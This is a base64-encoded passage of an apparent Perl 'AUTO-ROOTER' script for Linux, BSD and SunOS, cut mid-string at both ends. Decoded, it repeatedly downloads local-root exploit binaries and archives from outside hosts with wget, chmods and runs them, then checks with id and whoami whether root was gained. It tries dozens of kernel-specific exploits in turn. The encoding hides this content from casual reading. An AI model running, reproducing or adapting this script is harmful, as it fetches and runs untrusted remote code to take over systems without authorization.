IuLzIuNi4yMCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIwLTIiKTsKc3lzdGVtKCIuLzIuNi4yMC0yIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgoKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMi0yMDA4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMi0yMDA4Iik7CnN5c3RlbSgiLi8yLjYuMjItMjAwOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjItNi04Nl82NC0yMDA3Iik7CnN5c3RlbSgiLi8yLjYuMjItNi04Nl82NC0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjMtMi42LjI0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMy0yLjYuMjQiKTsKc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yMy0yLjYuMjRfMiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI0XzIiKTsKc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjRfMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI3Iik7CnN5c3RlbSgiLi8yLjYuMjMtMi42LjI3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMjQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI0Iik7CnN5c3RlbSgiLi8yLjYuMjQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4yNy43LWdlbmVyaSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjcuNy1nZW5lcmkiKTsKc3lzdGVtKCIuLzIuNi4yNy43LWdlbmVyaSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjI4LTIwMTEiKTsKc3lzdGVtKCIuLzIuNi4yOC0yMDExIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzItNDYuMS5CSHNtcCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItNDYuMS5CSHNtcCIpOwpzeXN0ZW0oIi4vMi42LjMyLTQ2LjEuQkhzbXAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi41X2hvb2x5c2hpdCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuNV9ob29seXNoaXQiKTsKc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjYtMzQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzQiKTsKc3lzdGVtKCIuLzIuNi42LTM0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNF9oMDBseXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzRfaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuNi0zNF9oMDBseXNoaXQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi42X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuNl9oMDBseXNoaXQiKTsKc3lzdGVtKCIuLzIuNi42X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjdfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi43X2gwMGx5c2hpdCIpOwpzeXN0ZW0oIi4vMi42LjdfaDAwbHlzaGl0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOC0yMDA4LjktNjctMjAwOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOC0yMDA4LjktNjctMjAwOCIpOwpzeXN0ZW0oIi4vMi42LjgtMjAwOC45LTY3LTIwMDgiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi44LTVfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi44LTVfaDAwbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuOC01X2gwMGx5c2hpdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjhfaDAwbHlzaGl0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi44X2gwMGx5c2hpdCIpOwpzeXN0ZW0oIi4vMi42LjhfaDAwbHlzaGl0Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOSIpOwpzeXN0ZW0oIi4vMi42LjkiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTIwMDQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktMjAwNCIpOwpzeXN0ZW0oIi4vMi42LjktMjAwNCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktMjAwOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0yMDA4Iik7CnN5c3RlbSgiLi8yLjYuOS0yMDA4Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS0zNCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS0zNCIpOwpzeXN0ZW0oIi4vMi42LjktMzQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTQyLjAuMy5FTHNtcCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS00Mi4wLjMuRUxzbXAiKTsKc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsKc3lzdGVtKCIuLzIuNi45LTQyLjAuMy5FTHNtcC0yMDA2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS01NSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NSIpOwpzeXN0ZW0oIi4vMi42LjktNTUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LTU1LTIwMDctcHJ2OCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuOS01NS0yMDA3LXBydjgiKTsKc3lzdGVtKCIuLzIuNi45LTU1LTIwMDctcHJ2OCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjktNTUtMjAwOC1wcnY4Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi45LTU1LTIwMDgtcHJ2OCIpOwpzeXN0ZW0oIi4vMi42LjktNTUtMjAwOC1wcnY4Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuOS02NzIwMDgiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNjcyMDA4Iik7CnN5c3RlbSgiLi8yLjYuOS02NzIwMDgiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi45LjIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkuMiIpOwpzeXN0ZW0oIi4vMi42LjkuMiIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjkxLTIwMDciKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjkxLTIwMDciKTsKc3lzdGVtKCIuLzIuNi45MS0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMDA3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIwMDciKTsKc3lzdGVtKCIuLzIwMDciKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIwMDktbG9jYWwiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS1sb2NhbCIpOwpzeXN0ZW0oIi4vMjAwOS1sb2NhbCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMjAwOS13dW5kZXJiYXIiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOS13dW5kZXJiYXIiKTsKc3lzdGVtKCIuLzIwMDktd3VuZGVyYmFyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAyMSIpOwpzeXN0ZW0oIi4vMjEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMyIpOwpzeXN0ZW0oIi4vMyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMy40LjYtOS0yMDA3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDMuNC42LTktMjAwNyIpOwpzeXN0ZW0oIi4vMy40LjYtOS0yMDA3Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8zMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAzMSIpOwpzeXN0ZW0oIi4vMzEiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzM2LXJjMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAzNi1yYzEiKTsKc3lzdGVtKCIuLzM2LXJjMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0Iik7CnN5c3RlbSgiLi80Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC80NCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0NCIpOwpzeXN0ZW0oIi4vNDQiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzQ3Iik7CnN5c3RlbSgiY2htb2QgNzc3IDQ3Iik7CnN5c3RlbSgiLi80NyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNSIpOwpzeXN0ZW0oImNobW9kIDc3NyA1Iik7CnN5c3RlbSgiLi81Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC81MCIpOwpzeXN0ZW0oImNobW9kIDc3NyA1MCIpOwpzeXN0ZW0oIi4vNTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzU0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDU0Iik7CnN5c3RlbSgiLi81NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNiIpOwpzeXN0ZW0oImNobW9kIDc3NyA2Iik7CnN5c3RlbSgiLi82Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC82NyIpOwpzeXN0ZW0oImNobW9kIDc3NyA2NyIpOwpzeXN0ZW0oIi4vNjciKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzciKTsKc3lzdGVtKCJjaG1vZCA3NzcgNyIpOwpzeXN0ZW0oIi4vNyIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvNy0yIik7CnN5c3RlbSgiY2htb2QgNzc3IDctMiIpOwpzeXN0ZW0oIi4vNy0yIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC83eCIpOwpzeXN0ZW0oImNobW9kIDc3NyA3eCIpOwpzeXN0ZW0oIi4vN3giKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzgiKTsKc3lzdGVtKCJjaG1vZCA3NzcgOCIpOwpzeXN0ZW0oIi4vOCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvOSIpOwpzeXN0ZW0oImNobW9kIDc3NyA5Iik7CnN5c3RlbSgiLi85Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC85MCIpOwpzeXN0ZW0oImNobW9kIDc3NyA5MCIpOwpzeXN0ZW0oIi4vOTAiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290Lzk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDk0Iik7CnN5c3RlbSgiLi85NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvTGludXhfMi42LjEyIik7CnN5c3RlbSgiY2htb2QgNzc3IExpbnV4XzIuNi4xMiIpOwpzeXN0ZW0oIi4vTGludXhfMi42LjEyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9MaW51eF8yLjYuOS1qb29seXNoaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgTGludXhfMi42Ljktam9vbHlzaGl0Iik7CnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvYWNpZCIpOwpzeXN0ZW0oImNobW9kIDc3NyBhY2lkIik7CnN5c3RlbSgiLi9hY2lkIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9kM3ZpbCIpOwpzeXN0ZW0oImNobW9kIDc3NyBkM3ZpbCIpOwpzeXN0ZW0oIi4vZDN2aWwiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cDEiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZXhwMSIpOwpzeXN0ZW0oIi4vZXhwMSIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZXhwMiIpOwpzeXN0ZW0oImNobW9kIDc3NyBleHAyIik7CnN5c3RlbSgiLi9leHAyIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9leHAzIik7CnN5c3RlbSgiY2htb2QgNzc3IGV4cDMiKTsKc3lzdGVtKCIuL2V4cDMiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2V4cGxvaXQiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOwpzeXN0ZW0oIi4vZXhwbG9pdCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvZnVsbC1uZWxzb24iKTsKc3lzdGVtKCJjaG1vZCA3NzcgZnVsbC1uZWxzb24iKTsKc3lzdGVtKCIuL2Z1bGwtbmVsc29uIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9nYXlyb3MiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZ2F5cm9zIik7CnN5c3RlbSgiLi9nYXlyb3MiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L2xlbmlzLnNoIik7CnN5c3RlbSgiY2htb2QgNzc3IGxlbmlzLnNoIik7CnN5c3RlbSgiLi9sZW5pcy5zaCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7CnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLTIuNi45LTIwMDUtMjAwNiIpOwpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7CnN5c3RlbSgiY2htb2QgNzc3IGxvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsKc3lzdGVtKCIuL2xvY2FsLXJvb3QtZXhwbG9pdC1nYXlyb3MiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3ByaXY0Iik7CnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7CnN5c3RlbSgiLi9wcml2NCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHdua2VybmVsIik7CnN5c3RlbSgiY2htb2QgNzc3IHB3bmtlcm5lbCIpOwpzeXN0ZW0oIi4vcHdua2VybmVsIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7CnN5c3RlbSgiY2htb2QgNzc3IHJvb3QucHkiKTsKc3lzdGVtKCIuL3Jvb3QucHkiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3J1bngiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOwpzeXN0ZW0oIi4vcnVueCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvdGl2b2xpIik7CnN5c3RlbSgiY2htb2QgNzc3IHRpdm9saSIpOwpzeXN0ZW0oIi4vdGl2b2xpIik7CnN5c3RlbSgiaWQ7d2hvYW1pIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsKc3lzdGVtKCJjaG1vZCA3NzcgdWJ1bnR1Iik7CnN5c3RlbSgiLi91YnVudHUiKTsKc3lzdGVtKCJpZDt3aG9hbWkiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vYS5wb21mLnNlL3R4ZmZndi56aXAiKTsKc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7CnN5c3RlbSgiY2htb2QgK3ggdHJvbGxlZCIpOwpzeXN0ZW0oIi4vdHJvbGxlZCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKc3lzdGVtKCJjaG1vZCAreCAzX1giKTsKc3lzdGVtKCIuLzNfWCIpOwpzeXN0ZW0oImlkO3dob2FtaSIpOwoKCgpwcmludCAiRW5kIExpbnV4Li4gWytdXG4iOwp9CmlmICgkQVJHVlswXSA9fiAiYnNkIiApCnsKcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7CnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsKcHJpbnQgIiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgUm9vdGluZyBCU0QgICAgICAgICAgICAjXG4iOwpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBic2Q7Y2QgYnNkIik7CgpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7CnN5c3RlbSgidW56aXAgandnb2JuLnppcCIpOwpzeXN0ZW0oImNobW9kIDc3NyA0OGxvY2FsIik7CnN5c3RlbSgiLi80OGxvY2FsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7CnN5c3RlbSgiLi9ic2Rsb2NhbCIpOwpzeXN0ZW0oImlkIik7CgpzeXN0ZW0oImNobW9kIDc3NyBCU0QzLjZfbG9jYWxyb290Iik7CnN5c3RlbSgiLi9CU0QzLjZfbG9jYWxyb290Iik7CnN5c3RlbSgiaWQiKTsKCgoKCnByaW50ICJFbmQgQnNkLi4gWytdXG4iOwp9CmlmICgkQVJHVlswXSA9fiAic3Vub3MiICkKewpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKcHJpbnQgIiMgTGludXgvQnNkL1N1bm9zIEFVVE8tUk9PVEVSICAjXG4iOwpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7CnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsKcHJpbnQgIiMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAjXG4iOwpwcmludCAiIyAgICAgICBSb290aW5nIFN1bm9zICAgICAgICAgICNcbiI7CnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpzeXN0ZW0oInVuYW1lIC1hO21rZGlyIHN1bm9zO2NkIHN1bm9zIik7CnN5c3RlbSgid2dldCBodHRwOi8vYS5wb21mLnNlL2trcGd2cy56aXAiKTsKc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7CnN5c3RlbSgiY2htb2QgNzc3IHhfb3NoLnBsICIpOwpzeXN0ZW0oInBlcmwgeF9vc2gucGwgIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljkvc3Vub3M1OSIpOwpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7CnN5c3RlbSgiLi9zdW5vczU5Iik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1LjgvZmluYWwiKTsKc3lzdGVtKCJjaG1vZCA3NzcgZmluYWwiKTsKc3lzdGVtKCIuL2ZpbmFsIik7CnN5c3RlbSgiaWQiKTsKCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7CnN5c3RlbSgiY2htb2QgK3ggc29sYXJpczI3Iik7CnN5c3RlbSgiLi9zb2xhcmlzMjciKTsKc3lzdGVtKCJpZCIpOwoKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuMTAvc3Vub3M1MTAiKTsKc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOwpzeXN0ZW0oIi4vc3Vub3M1MTAiKTsKc3lzdGVtKC